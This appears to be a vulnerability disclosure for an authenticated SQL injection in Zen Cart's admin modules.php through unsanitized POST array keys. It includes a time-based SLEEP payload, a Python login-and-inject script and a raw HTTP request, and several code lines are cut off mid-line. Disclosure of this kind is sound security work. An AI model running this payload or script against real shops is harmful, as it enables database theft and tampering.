# Security Report: SQL Injection in admin/modules.php via Unsanitized POST Array Keys

## Summary

A SQL Injection vulnerability in the Zen Cart administrative backend allows an authenticated administrator to execute arbitrary SQL commands. By manipulating the keys of the `configuration` POST array during a module update, an attacker can inject malicious SQL into the application's database queries.

## Details

The vulnerability is located in `modules.php` (within the administrative directory). When saving module configurations, the application iterates through the `$_POST['configuration']` array. The keys of this array are used directly in SQL queries without sufficient sanitization or the use of prepared statements. This allows an attacker to break out of the intended query structure and execute arbitrary SQL.

## Proof of Concept (PoC)

1. Log in to the Zen Cart administrative panel with a valid account.
2. Navigate to **Modules → Payment** (or any module using the standard configuration edit page).
3. Select a module (e.g., `MoneyOrder`) and click **Edit**.

4. Capture the "Save" request using a proxy tool (like Burp Suite).
5. Modify the configuration parameter keys in the POST body to include a SQL injection payload.
   - **Example Payload Key:** `configuration[INVALID' UNION SELECT SLEEP(5), '2' #]`
   - **Full Parameter Example:** `securityToken=[TOKEN]&action=saveall&configuration[INVALID' UNION SELECT SLEEP(5), '2' #]=test`
6. Send the request and observe a 5-second delay in the server response, confirming the execution of the `SLEEP()` command.

---

## Exploitation Script (sleep.py)

python

```python
import urllib.request, urllib.parse, http.cookiejar, re, time

# --- Configuration ---
URL = "http://localhost:8000/stomP-LGR-Feast"
HDR = {"Host": "localhost:8000"}
AUTH = {"admin_name": "admin", "admin_pass": "Admin123@"}
SLEEP = 5

cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

def go(path, data=None):
    if data: data = urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(f"{URL}/{path}", data=data, headers=HDR)
    return opener.open(req).read().decode(errors='ignore')

def get_token(html):
    return re.search(r'securityToken" value="([^"]+)"', html).group(1)

print("[*] Testing SQL Injection (Time-based)...")
try:
    # 1. Login
    t = get_token(go("index.php?cmd=login"))
    go("index.php?cmd=login", {**AUTH, "securityToken": t, "action": "do"+t})
```

```
    # 2. Get Module Token
    t2 = get_token(go("index.php?cmd=modules&set=payment&module=moneyorder&acti

    # 3. Trigger SQLi
    sqli = f"INVALID' UNION SELECT SLEEP({SLEEP}), '2' #"
    payload = {"securityToken": t2, "action": "saveall", f"configuration[{sqli}

    start = time.time()
    go("index.php?cmd=modules&set=payment&module=moneyorder&action=save", paylo
    diff = time.time() - start

    print(f"[*] Time elapsed: {diff:.2f}s")
    print("[+] Success!" if diff >= SLEEP else "[-] Failed.")

except Exception as e:
    print(f"[!] Error: {e}")
```

---

## Raw HTTP Request (http_request.txt)

```http
POST /stomP-LGR-Feast/index.php?cmd=modules&set=payment&module=moneyorder&actio
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Cookie: zenAdminID=816502d2c75e275f715060243238ade0; JSESSIONID=5af44dbe-f664-4
Content-Length: 143

securityToken=9a7ce36600cc85bb72d232f7f8ec0ff5&action=saveall&configuration[INV
```

---

## Impact

- **Vulnerability Type:** SQL Injection (CWE-89)
- **Impacted Parties:** This affects all Zen Cart installations where the administrative directory is accessible.

- **Consequences:** An authenticated attacker can gain full read/write access to the database, allowing for data theft, modification of store settings, and potentially escalating privileges or gaining remote code execution (e.g., via the `eval()` or file write vulnerabilities reported separately).

---

## Weakness

- **CWE-89:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

---

Previous page
My First Post

Next page
RCE via Unsafe eval()